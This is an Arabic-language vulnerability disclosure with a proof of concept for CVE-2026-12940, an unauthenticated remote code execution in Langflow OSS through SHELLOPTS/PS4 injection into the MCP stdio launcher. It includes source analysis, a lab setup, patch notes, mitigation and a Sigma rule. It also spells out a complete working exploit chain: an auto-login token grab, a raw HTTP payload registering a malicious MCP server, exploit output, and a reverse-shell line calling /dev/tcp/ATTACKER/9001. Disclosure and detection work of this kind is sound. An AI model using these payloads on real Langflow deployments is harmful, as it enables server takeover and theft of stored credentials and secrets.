
CVE-2026-12940 — ثغرة RCE غير مصادق عليها في Langflow OSS <=1.10.1 عبر حقن متغيرات البيئة في MCP stdio (SHELLOPTS/PS4). PoC من المؤلف + تحليل الكود المصدري + مختبر.
تنفيذ أوامر عن بُعد غير مصادَق عليه في Langflow OSS حتى الإصدار 1.10.1. قائمة حظر متغيرات البيئة التي تحمي إعداد خادم MCP stdio (DANGEROUS_ENV_VARS) تهمل SHELLOPTS وBASHOPTS وPS4. ولأن مُشغِّل MCP stdio ينفّذ الأمر المُعرَّف عبر bash -c، يمكن للمهاجم حقن SHELLOPTS=xtrace مع استبدال أوامر في PS4 وتنفيذ أوامر شل عشوائية بصلاحية مستخدم عملية Langflow — دون الحاجة إلى أمر MCP صالح أو مصادقة على التثبيت الافتراضي.
| CVE | CVE-2026-12940 |
| المنتج | Langflow OSS |
| الإصدارات المتأثرة | 1.0.0 – 1.10.1 |
| الإصدار المُصحَّح | 1.10.2 |
| التصنيف | حقن أوامر نظام التشغيل (CWE-78) عبر حقن متغيرات البيئة |
| CVSS 3.1 | 9.8 حرِج — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (IBM CNA) |
| المصادقة | غير مصادَق عليه في التثبيت الافتراضي (AUTO_LOGIN مفعّل افتراضيًا في 1.10.1) |
| الحالة | تأكيد الثغرة — تم التحقق من النهاية إلى النهاية على langflowai/langflow:1.10.1 |
يتيح Langflow للمستخدم تسجيل خوادم MCP (بروتوكول سياق النموذج) الخارجية عبر POST /api/v2/mcp/servers/{name}. يتم التحقق من نص الطلب بواسطة MCPServerConfig (src/backend/base/langflow/api/v2/schemas.py)، وهو دقيق بشأن command وargs ومفاتيح env:
command ضمن قائمة مسموحة (node, python, npx, uvx, docker, sh, bash…).args بحثًا عن رموز شل الخاصة (;, |, $, `, (, ), …) وكلمات مفتاحية خطيرة (-c, eval, pip install, …).DANGEROUS_ENV_VARS (LD_PRELOAD, PATH, NODE_OPTIONS, PYTHONPATH, BASH_ENV, …).ثغرتان تتضافران لتكوين RCE:
قيم env لا تخضع للتعقيم أبدًا. يتم فحص المفاتيح فقط مقابل قائمة الحظر؛ أما القيم فتُمرَّر كما هي. لذلك تنجو قيمة PS4 مثل $(id) رغم أن نفس الأحرف تمامًا سيتم رفضها داخل args.
قائمة الحظر غير مكتملة. في 1.10.1 لا يتضمن DANGEROUS_ENV_VARS المتغيرات shellopts أو bashopts أو ps4.
ثم يقوم المُشغِّل (src/lfx/src/lfx/base/mcp/util.py) على يونكس بما يلي:
env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})}
server_params = StdioServerParameters(
command="bash",
args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"],
env=env_data,
)
مع SHELLOPTS=xtrace، يفعّل bash الخيار set -x عند بدء التشغيل، وقبل تنفيذ أول سطر يتم تتبعه، يقوم بتوسيع موجه PS4. وبالتالي، فإن استبدال الأوامر داخل PS4 يعمل فورًا — بشكل مستقل عن command/args، اللذين لا يلزم حتى أن يكونا صالحين.
تمت مركزة قائمة الحظر في src/lfx/src/lfx/base/mcp/util.py باسم DANGEROUS_MCP_ENV_VARS وأضيفت إليها shellopts وbashopts وps4 (بالإضافة إلى env، تعميقًا للدفاع). يستدعي schemas.py الآن الدالة is_dangerous_mcp_env_var(). يتم رفض التسجيل أدناه برمز HTTP 422 على الإصدار 1.10.2.
$ python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
[*] target : http://127.0.0.1:7860
[*] PS4 : $(id > /tmp/proof 2>&1)
[+] obtained superuser token via /api/v1/auto_login (no credentials)
[+] registered MCP server 'saf550ddb' with SHELLOPTS/PS4 payload (HTTP 200)
[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP 200)
[+] payload PS4 executed on the server as the Langflow process user
$ docker exec lf-12940 cat /tmp/proof
uid=1000(user) gid=0(root) groups=0(root)
سلسلة طلبات HTTP الخام:
GET /api/v1/auto_login HTTP/1.1 → 200, {"access_token":"…"} (default install, no creds)
POST /api/v2/mcp/servers/pwn HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json
{"command":"uvx","args":["mcp-server-fetch"],
"env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}}
→ 200 (accepted; LD_PRELOAD here → 422)
GET /api/v2/mcp/servers?action_count=true HTTP/1.1
Authorization: Bearer <token>
→ 200, launcher spawns bash → PS4 runs `id`
يوفّر خيار --ps4 أولية خام لصنع قذائف عكسية / استدعاءات OAST:
python3 exploit.py --ps4 '$(exec 3<>/dev/tcp/ATTACKER/9001; echo pwned $(id) >&3)'
docker run -d --name lf-12940 --network host langflowai/langflow:1.10.1
# (this box has no docker bridge; --network host is required)
# Langflow comes up on http://127.0.0.1:7860 with default config
python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
docker exec lf-12940 cat /tmp/proof
الحد الفاصل للإصدار المُصحَّح (مرفوض):
docker run -d --name lf-patched --network host langflowai/langflow:1.10.2
# POST .../mcp/servers/pwn with SHELLOPTS → HTTP 422
# "Environment variable 'SHELLOPTS' is not allowed for security reasons"
راجع EVIDENCE.txt للحصول على النص الكامل الملتقط وANALYSIS.md للشرح على مستوى المصدر.
تأكيد الثغرة على langflowai/langflow:1.10.1، تم التحقق عبر تقنيتين مستقلتين:
uid=1000(user) gid=0(root) groups=0(root)، وهو المخرج الحقيقي للأمر id(1) بعد حله مقابل /etc/passwd الخاص بالهدف. هذا ليس صدى لسلسلة الإدخال $(id …).CALLBACK user@vbox 6.18.12+kali-amd64).تم الإصلاح على langflowai/langflow:1.10.2 — نفس التسجيل يُرجع HTTP 422.
ملاحظة بخصوص ادعاء عدم الحاجة إلى مصادقة. تأتي صورة 1.10.1 مع تفعيل
AUTO_LOGINافتراضيًا، لذا يُرجع/api/v1/auto_loginرمز مستخدم خارق لأي طالب دون بيانات اعتماد — وهذا ما يجعل السلسلة بأكملها غير مصادق عليها في النشر الافتراضي. على مثيل يتم فيه فرض المصادقة، يمكن لأي مستخدم مصادق يملك رمزًا/مفتاح API صالحًا الوصول إلى نفس ثغرة RCE (مرِّره عبر--token). تتطلب صورة 1.10.2 أيضًا بيانات اعتماد لبدء التشغيل، وهو تحصين غير مرتبط بالثغرة.
تنفيذ أوامر عشوائية بصلاحية حساب خدمة Langflow. قراءة كاملة لكل سرّ وبيانات اعتماد وتدفق (flow) في قاعدة بيانات Langflow، والوصول إلى الخدمات الداخلية وبيانات السحابة الوصفية، والانتقال إلى الشبكة المحيطة.
AUTO_LOGIN؛ عيّن بيانات اعتماد صريحة للمستخدم الخارق وعطّل تسجيل الدخول التلقائي.ابحث عن تسجيلات خوادم MCP التي يحمل حقل env فيها متغيرات التحكم بالشل، وعن عمليات bash الفرعية لعملية Langflow:
POST /api/v2/mcp/servers/* with a JSON body containing "SHELLOPTS", "BASHOPTS" or "PS4"
process: bash -c "exec …" parented by the langflow/gunicorn worker
Sigma (إنشاء عملية):
title: Langflow MCP stdio launcher shell-control env injection (CVE-2026-12940)
logsource: { category: process_creation, product: linux }
detection:
selection:
Image|endswith: '/bash'
CommandLine|contains: 'exec '
ParentImage|contains: 'langflow'
env_marker:
CommandLine|contains:
- 'SHELLOPTS'
- 'PS4=$('
condition: selection or env_marker
level: high
© Caio Fabrício (BiiTts).